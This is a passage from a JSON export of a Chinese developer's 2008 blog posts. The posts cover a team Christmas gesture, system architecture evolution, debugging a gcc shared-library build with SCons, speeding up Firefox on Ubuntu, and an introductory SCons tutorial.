甚是幸福；其实我能有机会为项目组做了一回“圣诞老人”我又何尝不快乐高兴呢^_^\n祝各位圣诞快乐!\n","permalink":"https://tonybai.com/2008/12/25/play-as-a-santa-claus/","summary":"\u003cp\u003e今天是\u003ca href=\"http://tonybai.com/2006/12/25/2006-christmas-impression/\"\u003e圣诞节\u003c/a\u003e。往年圣诞节那天部门总会举行一个庆祝活动，活动中每个人都能抽到自己心仪的礼品作为圣诞礼物，还有美味的蛋糕分享。然而今年再也没有这种“好事”了，由于经济危机的影响，公司三令五申的要求各个部门“勒紧裤腰带过穷日子”。我们的圣诞庆祝活动就这样被Cancel了。\u003c/p\u003e\n\u003cp\u003e昨天下午突然有了一个想法：部门不活动，我们项目组自己搞，不能让大家在圣诞节产生“失落感”。就这样和我们组内的\u0026quot;CCO（首席文化官^_^）\u0026ldquo;秘密沟通，没想到她也正有此意，达成一致^_^。由“CCO”负责采购礼物并策划活动过程，礼物费用我出，当然我们的礼物不能与部门礼物相比，但也是物美价廉，礼轻情意重！^_^。\u003c/p\u003e","title":"做了一回“圣诞老人”"},{"content":"近一两年来我在博客少有提及公司项目的事情，除了一些技术bug引起我对问题的思考。这样一是为了“避嫌”，公司年初发生了多次因员工在个人博客泄露源代码或者客户资料的事件，公司管理层也加强了对公司“信息安全”的管理，无非是学习华为那一套-“封锁”：使用websense限制员工上外网，使用桌面监控系统监控员工电脑系统，封掉一切可能泄露机密信息的接口。还特地发挥了一下“数字课件”部门兄弟们的聪明才智，搞了一个在线信息安全课件，规定员工都要完成课件学习，并在学习完进行在线测试。说实话，这个课件做的真的不错，只是大家对这种学习丝毫不感兴趣，一切为了应付。二呢还是为了“避嫌”，记得去年年末的一篇文章就引起了一个小风波，结果换来了与“顶头上司”的一次“对话”。作为老员工你的所说说写，直接影响了周围的人，虽然我的博客访问量不大^_^。\n而今天我要说说身边的事，说说项目上的事。\n在一个项目(或者叫产品也不为过)上持续做了整整三年，说长不长，说短也真的不短了。三年间见证了系统从杂乱变为有序和规范的历程，也见证了自己逐渐成长和成熟的过程。而整个系统的架构也在经历着不断的演进。去年年末我们策划并对系统进行了有史(历史\u0026lt;=3年)以来最大的一次架构调整，今年下旬实现了部分调增的新架构系统上线。但我们心里知道架构演进还远没有达到我们期望的结果，演进还没有接近终点。对于一个中等规模的后台服务系统而言，高性能、大容量以及良好的稳定性和良扩展性一直是终极目标，达到这个目标谈何容易。\n记得04年入司时，部门的一个核心产品A正在做革新性的架构调整，听更资历老一些的同事说：A产品在2000年诞生后在线运行了4年，问题也伴随了四年，随着客户业务量的增长，亟需对A的架构进行调整，部门也决定投入大量人力在这个拳头产品上。就这样新架构迭代式的做了近三年，人也换了一批又一批，终于在07年A产品上线了。A产品的架构演进走的是从无到有的革新路线，即整个产品基本都是重写的。这样的路线风险较大，新代码较多，测试过程中发现的缺陷势必也较多，为了保证产品研发人员能专心于研发，且保证现有产品维护能及时，部门还另分出一组人单独做既有产品维护。A的新架构上线后，也出了较多问题，但是架构本身经受住了考验，但是随着系统的运行，也发现了架构的一些弊端。\n我所从事开发的产品B应该与A算是姊妹产品，第一版的B产品的一个子系统B-1就是从A未进行架构调整之前的系统修改过来的,也就是说B-1等价于A产品前身。与A产品不同的是，B产品增加了另一个核心系统B-2。这里用图示更直观。\nA产品 A前身 — 演化 —\u0026gt; 新架构A\nB产品: B-1 — 演化 —\u0026gt; 新架构B1\nB-2 — 演化 —\u0026gt; ?\nB产品初期，我一直投入在B-2上，完成了B-2初始版本的开发以及后期一年半的演化。在将B-2当前架构演化到一个高度后，我退了出来，开始负责B-1的研发。现在回头看来B-2最大的架构有点就是简单清晰，但是由于前期的经验不足，在内部代码结构上留下了比较恶劣的smell，后来人也“效仿”了我的风格，以致现在我再看B-2代码，只能用“惨不忍睹”来形容了，Dreamhead的fanfou中曾经提到过“给予程序员最佳的惩罚便是让他维护自己一年前编写的代码”。当然这都是我的错误，与后人无干。可惜的是我现在没有精力再去精化B-2的结构了。\n前面说到B-1就是A产品前身，同样与A前身遭遇问题相同，B-1在处理能力上遇到了瓶颈。B-1的架构进化也就从此开始了。由于有了A产品架构演化的经验与教训，B-1采用了与A不同的架构路线，这期间A产品开发负责人给了我们莫大的帮助，提供了我们所缺少的经验和教训，可以说我们的架构演化是站在“前人的肩膀上的”。而且与A架构调整的轰轰烈烈不同的是，我们B-1后台的核心开发人员一直就保持在三人左右，再带着两三个新员工。人力虽少，但是效率却不差，小步快跑，达到相同目的。我们在去年年末架构演化方案确定后，制定了阶段发布计划，架构调整分阶段进行。一个阶段release后，deliver给客户，上线运行调整，虽说每个版本都不完美，有缺憾，有局限，但是风险也降到了最低，这种平滑过度对客户体验的影响也最小。更重要的是阶段性的deliver，加快了反馈的频率，使我们开始对前期架构演化的优缺点的了解也更多了。架构演化计划也随之调整。但随着对架构理解的深入，我们遭遇到了处理能力和扩展性上遇到了“天花板”，不得不暂停下来反思和讨论。\n曙光就在昨天的那次反思和讨论中得以重现，在这之前我们的眼光一直停留在B-1架构蓝图的内部，无论我们如何调整都无法让大家满意，始终觉得“别扭”。这时A产品负责人的一个观点，让我们茅舍顿开。一个虚拟域或组的概念将蓝图组合、叠加和交叉，一副更大的图景展现在我们面前，而这幅图似乎让我们看到了架构演化的终极目标，以至于我昨晚连夜画出了一副架构草图。\n这篇文章用“曙光”作为题目也许只有我自己才能体会到其深意吧。\n","permalink":"https://tonybai.com/2008/12/23/the-dawn/","summary":"\u003cp\u003e近一两年来我在\u003ca href=\"http://tonybai.com/\"\u003e博客\u003c/a\u003e少有提及公司项目的事情，除了一些技术bug引起我对问题的思考。这样一是为了“避嫌”，公司年初发生了多次因员工在个人博客泄露源代码或者客户资料的事件，公司管理层也加强了对公司“信息安全”的管理，无非是学习华为那一套-“封锁”：使用websense限制员工上外网，使用桌面监控系统监控员工电脑系统，封掉一切可能泄露机密信息的接口。还特地发挥了一下“数字课件”部门兄弟们的聪明才智，搞了一个在线信息安全课件，规定员工都要完成课件学习，并在学习完进行在线测试。说实话，这个课件做的真的不错，只是大家对这种学习丝毫不感兴趣，一切为了应付。二呢还是为了“避嫌”，记得去年年末的\u003ca href=\"http://tonybai.com/2008/01/09/how-to-evaluate-a-person/\"\u003e一篇文章\u003c/a\u003e就引起了一个小风波，结果换来了与“顶头上司”的一次“对话”。作为老员工你的所说说写，直接影响了周围的人，虽然我的博客访问量不大^_^。\u003c/p\u003e\n\u003cp\u003e而今天我要说说身边的事，说说项目上的事。\u003c/p\u003e\n\u003cp\u003e在一个项目(或者叫产品也不为过)上持续做了整整三年，说长不长，说短也真的不短了。三年间见证了系统从杂乱变为有序和规范的历程，也见证了自己逐渐成长和成熟的过程。而整个系统的架构也在经历着不断的演进。去年年末我们策划并对系统进行了有史(历史\u0026lt;=3年)以来最大的一次架构调整，今年下旬实现了部分调增的新架构系统上线。但我们心里知道架构演进还远没有达到我们期望的结果，演进还没有接近终点。对于一个中等规模的后台服务系统而言，高性能、大容量以及良好的稳定性和良扩展性一直是终极目标，达到这个目标谈何容易。\u003c/p\u003e","title":"曙光"},{"content":"今天是冬至，也是入冬以来感觉最冷的一天，毫不夸张的说：你一张嘴，牙就冻上了。上午LP在家收拾卫生，我继续用Scons改造现有的项目。下午出去理发，头发长长了后，似乎会造成思维迟钝^_^。\n试验性的用Scons改造现有的project，过程中对Scons了解又多了一些。上篇文章对Scons的性能没有给出定论，经过对Scons的深入后，发现Scons在执行初始时的性能的确不够快，这是因为Scons启动后，会对全部SConstruct以及下面子目录中的SConscript进行分析，子目录越多Sconscript文件个数越多，性能也就越差。但是这种分析也有一个优点，就是能帮你提前发现你SConscript中的一些“语义”错误，比如如果你在编译两个基础库，一个叫add，一个叫sub，这个基础库源码分别分布在两个目录add和sub中，编译后将分别生成libadd.a和libsub.a的库文件，但是如果你马虎了，在编写SConscript时将target都写成了\u0026rsquo;add\u0026rsquo;或都写成了\u0026rsquo;sub\u0026rsquo;，则Scons会在执行gcc之前就帮你找出这个\u0026quot;语义\u0026quot;错误，提示如下：\n/export/home1/tony_bai/xxlib\u0026gt;scons -f SC*t\nscons: Reading SConscript files …\nscons: *** Multiple ways to build the same target were specified for: /export/home1/tony_bai/xxlib/lib/libsub.a (from [\u0026rsquo;/export/home1/tony_bai/xxlib/add/libsub.a\u0026rsquo;] and from [\u0026rsquo;libsub.a\u0026rsquo;])\nFile \u0026ldquo;/export/home1/tony_bai/xxlib/sub/SConscript\u0026rdquo;, line 3, in\nScons脚本基本写的差不多了，编译也ok了，但是编译出来的可执行程序在执行时却出现了问题：提示找不到某.so文件。而用项目\u0026quot;原配\u0026quot;的Makefile编译出来的可执行程序却执行的很好，没有类似问题，百思不得其解。将.so文件所在目录放到\u0026quot;LD_LIBRARY_PATH\u0026quot;中，问题得以解决，但这更加深了对这一现象的质疑。起初我一直以为是Scons在编译选项上不规范造成的，而Scons使用gcc -G -o xx.so xx.o来编译也的确有值得的怀疑点，-G选项是我从未见过的gcc编译选项，查了半天手册也没有对该参数的说明，遂放弃。上工具吧！先用ldd对编译出来的可执行文件进行分析，我们先来假设用Scons编译出来的可执行程序名字为Bin-scons，用\u0026quot;原配\u0026quot;Make编译出来的可执行程序名字为Bin-make。ldd将列出可执行文件中动态依赖的库的名字，并在本机定位出各个动态库的位置。对Bin-scons和Bin-make分别ldd的结果却让我大吃一惊，Bin-scons的ldd结果很正常，xx.so出现在list中，并且其位置为我刚刚加入到LD_LIBRARY_PATH中的那个目录；但是Bin-make的ldd结果中却不见了xx.so的踪影，这是怎么回事呢？回头翻看Makefile，并且又执行了多遍Make，项目的Makefile明明是构造了xx.so，在生成Bin-make时链接了xx.so，并且Bin-make中使用了xx.so中提供的接口。再次仔细对比Make和Scons编译.so时的差别，这回发现了些许不同的地方，\u0026ldquo;原配\u0026quot;的make在编译.so时，除了用了-shared -fPIC之外，还用了\u0026rdquo;-c\u0026quot;选项，而从Scons日志中只能看到gcc -G -o libxx.so xx.pic.o，显然Scons先控制gcc将xx.c编译为xx.pic.o，再由xx.pic.o构成libxx.so，而且我发现用Scons和Make编译出的.so文件大小居然不同。显然\u0026quot;-c\u0026quot;对两个编译过程带来了影响。一般来说，我们在编译一个动态库时是不会使用\u0026quot;-c\u0026quot;的，这里先不论项目Makefile写的是否ok，单说\u0026quot;-c\u0026quot;会给编译过程带来什么吧。打开gcc的\u0026quot;–verbose\u0026quot;开关，我们来试试使用和不使用\u0026quot;-c\u0026quot;gcc都做了些什么。还是以add.c为例，将add.c编译为libadd.so。\ngcc -o libadd.so -shared -fPIC -c add.c –verbose\n执行结果：\nReading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/specs\nConfigured with: ../configure –with-as=/usr/ccs/bin/as –with-ld=/usr/ccs/bin/ld –disable-nls\nThread model: posix\ngcc version 3.2\n/usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/cc1 -lang-c -v -D__GNUC__=3 -D__GNUC_MINOR__=2 -D__GNUC_PATCHLEVEL__=0 -D__GXX_ABI_VERSION=102 -Dsparc -Dsun -Dunix -D__svr4__ -D__SVR4 -D__PRAGMA_REDEFINE_EXTNAME -D__sparc__ -D__sun__ -D__unix__ -D__svr4__ -D__SVR4 -D__PRAGMA_REDEFINE_EXTNAME -D__sparc -D__sun -D__unix -Asystem=unix -Asystem=svr4 -D__NO_INLINE__ -D__STDC_HOSTED__=1 -D__SIZE_TYPE__=unsigned int -D__PTRDIFF_TYPE__=int -D__WCHAR_TYPE__=long int -D__WINT_TYPE__=long int -D__GCC_NEW_VARARGS__ -Acpu=sparc -Amachine=sparc add.c -quiet -dumpbase add.c -version -fPIC -o /var/tmp//cca0mHxn.s\nGNU CPP version 3.2 (cpplib) (sparc ELF)\nGNU C version 3.2 (sparc-sun-solaris2.9)\ncompiled by GNU C version 3.2.\nignoring nonexistent directory \u0026ldquo;NONE/include\u0026rdquo;\nignoring nonexistent directory \u0026ldquo;/usr/local/sparc-sun-solaris2.9/include\u0026rdquo;\n#include \u0026ldquo;…\u0026rdquo; search starts here:\n#include search starts here:\n/usr/local/include\n/usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/include\n/usr/include\nEnd of search list.\n/usr/ccs/bin/as -V -Qy -s -K PIC -o libadd.so /var/tmp//cca0mHxn.s\n/usr/ccs/bin/as: Sun WorkShop 6 update 2 Compiler Common 6.2 Solaris_9_CBE 2001/04/02\ngcc -o libadd.so -shared -fPIC add.c –verbose\n执行结果：\nReading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/specs\nConfigured with: ../configure –with-as=/usr/ccs/bin/as –with-ld=/usr/ccs/bin/ld –disable-nls\nThread model: posix\ngcc version 3.2\n/usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/cc1 -lang-c -v -D__GNUC__=3 -D__GNUC_MINOR__=2 -D__GNUC_PATCHLEVEL__=0 -D__GXX_ABI_VERSION=102 -Dsparc -Dsun -Dunix -D__svr4__ -D__SVR4 -D__PRAGMA_REDEFINE_EXTNAME -D__sparc__ -D__sun__ -D__unix__ -D__svr4__ -D__SVR4 -D__PRAGMA_REDEFINE_EXTNAME -D__sparc -D__sun -D__unix -Asystem=unix -Asystem=svr4 -D__NO_INLINE__ -D__STDC_HOSTED__=1 -D__SIZE_TYPE__=unsigned int -D__PTRDIFF_TYPE__=int -D__WCHAR_TYPE__=long int -D__WINT_TYPE__=long int -D__GCC_NEW_VARARGS__ -Acpu=sparc -Amachine=sparc add.c -quiet -dumpbase add.c -version -fPIC -o /var/tmp//ccz128Nl.s\nGNU CPP version 3.2 (cpplib) (sparc ELF)\nGNU C version 3.2 (sparc-sun-solaris2.9)\ncompiled by GNU C version 3.2.\nignoring nonexistent directory \u0026ldquo;NONE/include\u0026rdquo;\nignoring nonexistent directory \u0026ldquo;/usr/local/sparc-sun-solaris2.9/include\u0026rdquo;\n#include \u0026ldquo;…\u0026rdquo; search starts here:\n#include search starts here:\n/usr/local/include\n/usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/include\n/usr/include\nEnd of search list.\n/usr/ccs/bin/as -V -Qy -s -K PIC -o /var/tmp//ccoU5RTD.o /var/tmp//ccz128Nl.s\n/usr/ccs/bin/as: Sun WorkShop 6 update 2 Compiler Common 6.2 Solaris_9_CBE 2001/04/02\n/usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/collect2 -V -G -dy -z text -Y P,/usr/ccs/lib:/usr/lib -Qy -o libadd.so /usr/local/lib/gcc-lib/sparc-sun-\nsolaris2.9/3.2/crti.o /usr/ccs/lib/values-Xa.o /usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/crtbegin.o -L/usr/local/lib/gcc-lib/sparc-sun-\nsolaris2.9/3.2 -L/usr/ccs/bin -L/usr/ccs/lib -L/usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/../../.. /var/tmp//ccoU5RTD.o -lgcc_s -lgcc_s\n/usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/crtend.o /usr/local/lib/gcc-lib/sparc-sun-solaris2.9/3.2/crtn.o\nld: Software Generation Utilities – Solaris Link Editors: 5.9-1.276\n对比这两次的执行结果，我们可以发现，使用了-c的编译过程实际上不是一个完整的共享库(动态库.so)的构建过程，而只是一个带有\u0026quot;-shared, -fPIC\u0026quot;的目标文件(.o)的编译过程，缺少gcc crt目标文件的链接过程，只是目标文件被命名为libadd.so了。这恰恰能解释我们前面提到了两点疑问了。为什么ldd Bin-make时没有发现其依赖xx.so以及Bin-make执行时一切ok，没有报“找不到xx.so”，这一切都是因为xx.so实际上是以.o形式存在的一个文件，在构建Bin-make链接xx.so时，实际上做到是静态链接而不是动态链接，xx.so中的接口代码都已经存在于Bin-make中了，所以ldd无法找到对xx.so的依赖，Bin-make执行时也无需找到xx.so了。看来这是项目Makefile中的一个问题了，只是这个\u0026quot;问题\u0026quot;隐藏太久而未能被发现罢了。\n从收音机中得知\u0026quot;冬至\u0026quot;这天应该吃饺子，晚上和LP煮了两包水饺，热腾腾的，吃得直打饱嗝^_^。\n","permalink":"https://tonybai.com/2008/12/21/use-scons-to-build-current-projects/","summary":"\u003cp\u003e今天是冬至，也是入冬以来感觉最冷的一天，毫不夸张的说：你一张嘴，牙就冻上了。上午LP在家收拾卫生，我继续用\u003ca href=\"http://tonybai.com/2008/12/14/learn-scons/\"\u003eScons\u003c/a\u003e改造现有的项目。下午出去理发，头发长长了后，似乎会造成思维迟钝^_^。\u003c/p\u003e\n\u003cp\u003e试验性的用\u003ca href=\"http://en.wikipedia.org/wiki/SCons\"\u003eScons\u003c/a\u003e改造现有的project，过程中对Scons了解又多了一些。\u003ca href=\"http://tonybai.com/2008/12/14/learn-scons/\"\u003e上篇文章\u003c/a\u003e对Scons的性能没有给出定论，经过对Scons的深入后，发现Scons在执行初始时的性能的确不够快，这是因为Scons启动后，会对全部SConstruct以及下面子目录中的SConscript进行分析，子目录越多Sconscript文件个数越多，性能也就越差。但是这种分析也有一个优点，就是能帮你提前发现你SConscript中的一些“语义”错误，比如如果你在编译两个基础库，一个叫add，一个叫sub，这个基础库源码分别分布在两个目录add和sub中，编译后将分别生成libadd.a和libsub.a的库文件，但是如果你马虎了，在编写SConscript时将target都写成了\u0026rsquo;add\u0026rsquo;或都写成了\u0026rsquo;sub\u0026rsquo;，则Scons会在执行\u003ca href=\"http://tonybai.com/2006/03/14/explain-gcc-warning-options-by-examples/\"\u003egcc\u003c/a\u003e之前就帮你找出这个\u0026quot;语义\u0026quot;错误，提示如下：\u003cbr\u003e\n/export/home1/tony_bai/xxlib\u0026gt;scons -f SC*t\u003cbr\u003e\nscons: Reading SConscript files …\u003cbr\u003e\nscons: *** Multiple ways to build the same target were specified for: /export/home1/tony_bai/xxlib/lib/libsub.a  (from [\u0026rsquo;/export/home1/tony_bai/xxlib/add/libsub.a\u0026rsquo;] and from [\u0026rsquo;libsub.a\u0026rsquo;])\u003cbr\u003e\nFile \u0026ldquo;/export/home1/tony_bai/xxlib/sub/SConscript\u0026rdquo;, line 3, in\u003c/p\u003e","title":"使用Scons改造现有项目"},{"content":"部门的一套基础库刚刚移植到Linux上，为了测试该库，我将工作环境切换到了Ubuntu Linux下面。切换后居然发现Ubuntu下的Firefox访问网页巨慢无比，Firefox显示时明时暗，总是被挂起。同样的公司网络环境在Windows下使用Firefox访问互联网很顺畅，没有卡的现象。看来是时候给Ubuntu下的firefox提提速了。\nGoogle了一下才发现反映类似现象的人为数不少啊，在Ubuntu中文论坛中得到了一些答案。有人建议关闭ipv6；还有人则建议install dnsmasq。不是很明白其中的理由，照做就是了。\n首先关闭IPv6。打开一个终端，在终端下输入：\u0026ldquo;gksudo gedit /etc/modprobe.d/aliases\u0026rdquo;；在文件中搜索到\u0026quot;alias net-pf-10 ipv6\u0026quot;，注释掉其所在行，保存退出。再在终端下输入：\u0026ldquo;gksudo gedit /etc/modprobe.d/blacklist\u0026rdquo;，在其中加上一行\u0026quot;blacklist ipv6 \u0026ldquo;，保存退出。最后重启系统使之生效。验证IPv6是否被关闭的方法：打开一个终端输入：\u0026ldquo;ip a | grep inet6\u0026rdquo;，如果没有任何输出就说明 IPv6确实被关闭了。\n其次，安装dnsmasq。在终端命令行下执行“sudo apt-get install dnsmasq”，安装完毕后，执行sudo gedit /etc/dnsmasq.conf，将“#resolv-file=”一行替换为\u0026quot;resolv-file=/etc/resolv.dnsmasq.conf\u0026rdquo;。然后执行“sudo cp /etc/resolv.conf /etc/resolv.dnsmasq.conf”，再编辑/etc/resolv.conf文件，保证在该文件中只保留\u0026quot;nameserver 127.0.0.1\u0026quot;一行即可，然后重启系统使dnsmasq生效。\n果不其然，重启后的firefox恢复了和在Windows上一样的迅捷，不过遗憾的是由于修改了两处，不知道到底是上面哪种方法真正有效果的^_^。BTW，我的Ubuntu是7.10的，其自带的Firefox还是2.0.0.6版的，目前Firefox for Linux最新版已经是3.0.4了，这次顺便将firefox升级。使用apt-get居然没有3.0.4版的源，无法在线安装。更新源挺耗时的，还是直接到mozilla网站上下载吧。下载后的firefox是一个tar.bz2的包，这个如何安装呢？以前都是apt-get install的，还没有这么安装过，还好有Google。Ubuntu默认的firefox-2.0版安装在/usr/lib/firefox下，在/usr/bin下有firefox的一个符号链接。你通过命令行执行firefox或者点击桌面firefox图标启动firefox时实际上执行的都是/usr/lib/firefox/下的可执行文件，这样我就将下载的3.0.4的安装包通过tar -jxvf解压到本地目录，将/usr/lib/firefox备份，将解压后的3.0.4版本目录移到/usr/lib下，目录名仍然称作firefox，这样就可以顺滑过渡到3.0版了。现在你再启动firefox，查看“About”，就会看到版本已经升级到3.0.4了^_^。\n上午发现同事的办公桌上摆着一款明晃晃的iPhone。这是我第一次如此近距离接触iPhone，第一印象就是\u0026quot;简洁\u0026quot;，机身正面只有一个圆按钮，其余都是屏幕，黑色的机身透露着高贵。拿起来，挺沉，后盖应该是金属的，做工很精致。按下圆按钮，屏幕亮起，很清晰。屏幕上显示的菜单看起来与普通诺基亚手机的菜单分布没有太大区别。想滑动窗口看看还有多少菜单项，居然找不到箭头，经iPhone主人提示：用手指轻轻在屏幕上一划，屏幕就滚动到下一屏，太帅了。同事说iPhone就是游戏机，里面的实况足球游戏很好玩，我也打开游戏尝试了一吧。游戏在iPhone的屏幕左下角模拟显示了一个十字方向键，在右下角则模拟有A, B键。刚开始玩时还不适应，因为始终感觉手指上没有反馈的感觉，毕竟手指直接接触平直的屏幕完成控制挺难的，控制好也许更难。游戏特别流畅，难怪Android平台的founder Andy Rubin说iPhone与5年前一台PC的配置不相上下。iPhone在bestbuy网站最低卖价199美刀。不过需要和AT\u0026amp;T签署协议，核算下来与在国内买一个水货的成本不相上下了。Android平台目前虽未成熟，但发展势头也很快，不久的将来Android和iPhone之间势必有一场激烈的竞争。\n","permalink":"https://tonybai.com/2008/12/17/accelerate-the-firefox-on-ubuntu/","summary":"\u003cp\u003e部门的一套基础库刚刚移植到Linux上，为了测试该库，我将工作环境切换到了\u003ca href=\"http://tonybai.com/2008/02/27/work-on-ubuntu-this-morning/\"\u003eUbuntu Linux\u003c/a\u003e下面。切换后居然发现Ubuntu下的Firefox访问网页巨慢无比，Firefox显示时明时暗，总是被挂起。同样的公司网络环境在Windows下使用Firefox访问互联网很顺畅，没有卡的现象。看来是时候给Ubuntu下的firefox提提速了。\u003c/p\u003e","title":"为Ubuntu下的Firefox提速"},{"content":"发现或者说知道SCons是缘于Google的comp.lang.c group上的一则名为\u0026quot;Best Build Tool for large C projects \u0026ldquo;的帖子，帖子的作者列出了11条他认为\u0026quot;Best Build Tool\u0026quot;应该具备的特点，并欲找到这样的Build Tool。在该帖子的回复中，有人提到了Scons，说来惭愧，这是我第一次听说到有这样一个工具。一直在Unix下编写C程序，习惯了Make，也对Make的复杂度和较为陡峭的学习曲线有所了解，曾经尝试使用Autoconf和Automake，但是都因上手困难而放弃。自己心底也一直想找到一个更简单一些的但又不失功能的适合C的Build Tool，Scons是否能满足的需要的呢？好奇心驱使着我去发掘一下Scons。\n工具的进化一直在持续着。高手能把Make玩弄于股掌之中，但是大多数人水平还是一般的，在经历了\u0026quot;Make hell\u0026quot;后他们要寻求更简单、更人性的工具，这也是工具进化的动力之一。Scons是用Python实现的一款跨平台的开源Build Tool，用Python实现意味着Scons比Make所使用的类Shell语言更贴近于自然语言，更易于理解和控制；用Python实现的另一个好处也是Make所不具备的就是很好的跨平台能力，一次编写Build脚本，在多种平台上无需修改即可运行无误，特别是从Unix-\u0026gt;Windows这样的移植，如果使用Make则势必要修改。\n先简单说说Scons的安装，要运行Scons势必你的机器上要有Python，虽然Python 3.0已经Release，但目前主流Python开源项目仍然在用2.x版本。我的机器上安装的就是Python 2.5。下载Scon-1.10稳定版，unzip，进入unzip后的目录，执行安装命令：python setup.py install即可。Scons会被安装到默认目录下，如果你想指定安装目标目录的话，可以使用–prefix=YOUR_INSTALL_DIR参数。\n按照惯例，我们先来一个\u0026rdquo;Hello, World!\u0026ldquo;的例子，在你的测试目录下，编写一个HelloWorld.c\n/* HelloWorld.c */\n#include \u0026lt;stdio.h\u0026gt;\nint main(int argc, char* argv[])\n{\nprintf(\u0026ldquo;Hello, world!\\n\u0026rdquo;);\nreturn 0;\n}\n在同一级目录下，建立一个新文件SConstruct，编辑该文件，输入内容：\nProgram(‘HelloWorld.c’)\n在命令行下执行scons，一个名为HelloWorld.exe的可执行文件(在Unix下可执行文件为HelloWorld)被编译链接成功。第一次上手成功会给使用者带来莫大的成就感，提高该使用者继续发掘该工具的可能性。\nSConstruct是个什么文件？SConstruct之于Scons就好比Makefile之于Make；它是Scons的输入，SConstruct中的内容采用的是Python的语法，而Python的语法比较简单，这样很容易被接受，而Program则只是一个方法调用。Program(‘HelloWorld.c’)意味着告诉Scons我要将HelloWorld.c编译成一个名为‘HelloWorld.exe’的可执行文件，当然了Scons会自动分析HelloWorld.c，自动得出目标程序名字。\n我们日常工作构建代码的类型不外乎如下几种：简单一点的包括编译object文件、构建静态库、构建动态链接库和构建可执行程序；复杂的则是要对一个拥有众多目录和几十万、上百万行代码的项目进行整体体系构建，而复杂的构建也是由一系列的简单构建组合而成的，我们先说说简单类构建。\nHelloWorld例子只是一个最简单的由单个源文件构建程序的例子，现实中我们构建可执行程序可能依赖的不止是一个文件，可能还有头文件或链接其他第三方库；下面这个SConstruct文件中的语句就是一个稍微复杂些的例子：\nProgram(target = ‘test’, source = [\u0026lsquo;main.c\u0026rsquo;, \u0026lsquo;file1.c\u0026rsquo;, \u0026lsquo;file2.c\u0026rsquo;], LIBS = [\u0026rsquo;lib1\u0026rsquo;, \u0026rsquo;lib2\u0026rsquo;], LIBPATH = [\u0026rsquo;lib1/lib\u0026rsquo;, \u0026rsquo;lib2/lib\u0026rsquo;], CPPPATH = [\u0026lsquo;include\u0026rsquo;, \u0026lsquo;/lib1/include\u0026rsquo;, \u0026rsquo;lib2/include\u0026rsquo;], CCFLAGS=’-D_DEBUG’)\n这个例子中具备我们常用的诸多元素，这些参数中：’test’是构建后的程序名，source是一个源文件数组，LIBPATH则是要链接库的目录数组，LIBS是要链接的具体的库文件的名字。CPPPATH则是-I的替代品，是头文件所在目录的数组，CCFLAGS则是负责传递编译器的编译选项参数。\n通过这些Keyword Arguments，Scons可以在用户和编译器之间传递信息，并控制编译器完成构建。同样的，编译目标文件，构建静态库、动态库可以由下面的一些builder来完成。\nLibrary(‘foo’, [\u0026lsquo;f1.c\u0026rsquo;, \u0026lsquo;f2.c\u0026rsquo;, \u0026lsquo;f3.c\u0026rsquo;]) #生成名为foo的静态库，在Windows上是foo.lib，在unix上为libfoo.a\n\u0026lt;=\u0026gt; StaticLibrary(‘foo’, [\u0026lsquo;f1.c\u0026rsquo;, \u0026lsquo;f2.c\u0026rsquo;, \u0026lsquo;f3.c\u0026rsquo;]) #生成名为foo的静态库，在Windows上是foo.lib，在unix上为libfoo.a\nSharedLibrary(‘foo’, [\u0026lsquo;f1.c\u0026rsquo;, \u0026lsquo;f2.c\u0026rsquo;, \u0026lsquo;f3.c\u0026rsquo;]) #生成名为foo的动态库，在Windows上是foo.dll，在unix上为libfoo.so\nObject(‘add.c’) #生成名为add的目标文件，在Windows上是add.obj，在unix上为add.o\nScons没有明显的依赖定义，Scons会为我们自动扫描依赖。我们只需告诉它构建出一个目标需要什么即可。Scons检查依赖关系中的文件变化的方法，除了通过时间戳，还可以通过MD5来判别，你可以通过设置Env来决定使用哪个。另外更强大的是你也可以自己编写文件更新检查方法放到SConstruct中被Scons调用，这些都是高级一些的功能，这里不细说，详情可参见Scons的doc。\n前面说过，实际项目的代码往往不可能都放到单一目录下，而是按照一定规则被放到有层次结构的目录体系中，Scons提供一个叫SConscript的方法支持这种情形。下面用一个复杂一些的例子来说明这种情形。\n我们假设有一项目的目录结构如下：\n- Test_Proj\n- SConstruct\n- include\n- base.h\n- module1.h\n- module2.h\n- main\n- main.c\n- module1\n- module1.c\n- module2\n- module2.c\n- xlib\n- include\n- xlib_base.h\n- add.h\n- sub.h\n- add\n- add.c\n- sub\n- sub.c\n- lib\n针对该Proj，我们要将整个工程构建为一个可执行程序。简单分析一下，这个程序依赖xlib下的两个库\n","permalink":"https://tonybai.com/2008/12/14/learn-scons/","summary":"\u003cp\u003e发现或者说知道\u003ca href=\"http://www.scons.org/\"\u003eSCons\u003c/a\u003e是缘于Google的\u003ca href=\"http://groups.google.com/group/comp.lang.c/topics?hl=en\"\u003ecomp.lang.c group\u003c/a\u003e上的一则名为\u0026quot;\u003ca href=\"http://groups.google.com/group/comp.lang.c/browse_thread/thread/cc51287c88c85bcb?hl=en\"\u003eBest Build Tool for large C projects\u003c/a\u003e \u0026ldquo;的帖子，帖子的作者列出了11条他认为\u0026quot;Best Build Tool\u0026quot;应该具备的特点，并欲找到这样的Build Tool。在该帖子的回复中，有人提到了Scons，说来惭愧，这是我第一次听说到有这样一个工具。一直在Unix下编写\u003ca href=\"http://en.wikipedia.org/wiki/C_(programming_language)\"\u003eC程序\u003c/a\u003e，习惯了Make，也对Make的复杂度和较为陡峭的学习曲线有所了解，曾经尝试使用\u003ca href=\"http://www.gnu.org/software/autoconf/\"\u003eAutoconf\u003c/a\u003e和\u003ca href=\"http://www.gnu.org/software/automake/\"\u003eAutomake\u003c/a\u003e，但是都因上手困难而放弃。自己心底也一直想找到一个更简单一些的但又不失功能的适合C的Build Tool，Scons是否能满足的需要的呢？好奇心驱使着我去发掘一下Scons。\u003c/p\u003e","title":"发掘Scons"},{"content":"在今晨的西班牙国家德比之前，我在饭否留下这样一条信息：\u0026ldquo;Barcelona vs. Real 